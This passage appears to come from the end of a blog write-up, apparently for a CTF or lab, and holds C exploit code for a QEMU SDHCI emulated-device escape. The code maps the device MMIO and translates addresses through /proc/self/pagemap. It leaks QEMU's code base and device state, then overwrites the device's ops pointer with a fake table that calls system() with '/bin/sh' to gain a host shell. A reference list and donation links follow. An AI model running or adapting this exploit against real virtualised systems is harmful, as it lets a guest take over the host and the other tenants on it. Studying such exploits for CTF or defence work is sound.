    int printf_len;
    char *tmp;
    for (size_t i = 0; i < len / 0x10; i++)
    {
        memset(buf, 0, 0x400);
        printf_len = 0;

        tmp = (char *)addr + i * 0x10;
        printf_len = sprintf(&buf[printf_len], "+%04x %p: ", i * 0x10, tmp);
        for (size_t j = 0; j < 0x10; j++)
        {
            printf_len += sprintf(&buf[printf_len], "%02x ", (uint8_t)tmp[j]);
        }

        printf_len += sprintf(&buf[printf_len], "| ");
        for (size_t j = 0; j < 0x10; j++)
        {
            char _c = tmp[j];
            if (!isprint(_c))
            {
                _c = '.';
            }
            printf_len += sprintf(&buf[printf_len], "%c", _c);
        }

        puts(buf);
    }
}


void prepare_work()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    
    int _fd = open("/sys/devices/pci0000:00/0000:00:04.0/config", O_RDWR | O_SYNC);
    if (_fd < 0) {
        die("open config error!");
    }
    uint16_t data=0x107;
    lseek(_fd, 4, 0);
    write(_fd, &data, 2);
    close(_fd);

    g_fd = open("/proc/self/pagemap", O_RDONLY);
    if (g_fd < 0) {
        die("open /proc/self/pagemap!");
    }
    // Open and map I/O memory for the strng device
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1)
        die("mmio_fd open failed");

    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED)
        die("mmap mmio_mem failed");

    printf("[*] mmio_mem: %p\n", mmio_mem);
    puts("[+] prepare work done!");
}

void main()
{
    prepare_work();
    char *buffer = malloc(0x1000);
    memset(buffer, 'a', 0x200);
    uint64_t buffer_phaddr = gva_to_gpa(buffer);
    printf("[*] buffer phaddr: 0x%lx\n", buffer_phaddr);

    mmio_write(SDHC_BLKSIZE, (3 << 16) | 0x200);
    mmio_write(SDHC_TRNMOD, ((6 << 8) << 16) | 0);
    mmio_write(SDHC_TRNMOD, ((12 << 8) << 16) | 0);
    mmio_write(SDHC_ARGUMENT, 0x1000);
    mmio_write(SDHC_TRNMOD, ((24 << 8) << 16) | 0);
    mmio_write(SDHC_SYSAD, buffer_phaddr);

    mmio_write(SDHC_TRNMOD, ((1 << 8) << 16) | SDHC_TRNS_READ);
    mmio_write(SDHC_TRNMOD, ((17 << 8) << 16) | SDHC_TRNS_READ);
    mmio_write(SDHC_SYSAD, buffer_phaddr);

    size_t *tmp = (size_t *)(buffer+6);
    // for (size_t i = 0; i < 0x200 / 8; i++)
    // {
    //     size_t val = tmp[i];
    //     if (val > ((size_t)1 << 32)) {
    //         printf("[*] idx: %d,leak addr: 0x%lx\n",i, val);
    //     }
    // }
    size_t sdhci_mmio_ops_addr = tmp[42];
    size_t codebase_addr = sdhci_mmio_ops_addr - 0xc7fe00;// - 0xc0df20;
    size_t cur_sdhcistate_addr = tmp[43];
    
    printf("[+] leak codebase address: 0x%lx\n", codebase_addr);
    printf("[+] leak SDHCIState address: 0x%lx\n", cur_sdhcistate_addr);
    int system_plt_offset = 0x2ebc20; // 0x2d52f0;
    size_t system_addr = codebase_addr + system_plt_offset;
    size_t fake_ops = cur_sdhcistate_addr + 0xb88;
    tmp[42] = fake_ops;
    tmp[43] = fake_ops+0x40;
    tmp[0] = system_addr;
    tmp[1] = system_addr;
    tmp[2] = 0x6161616161616161;
    tmp[3] = 0x6262626262626262;
    tmp[4] = 2;
    tmp[5] = 0x400000001;
    tmp[6] = 0x6363636363636363;
    tmp[7] = system_addr;
    strcpy(&tmp[8], "/bin/sh");

    mmio_write(SDHC_TRNMOD, SDHC_TRNS_MULTI | SDHC_TRNS_BLK_CNT_EN);
    mmio_write(SDHC_SYSAD, buffer_phaddr);

    mmio_read(SDHC_SYSAD);

}

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%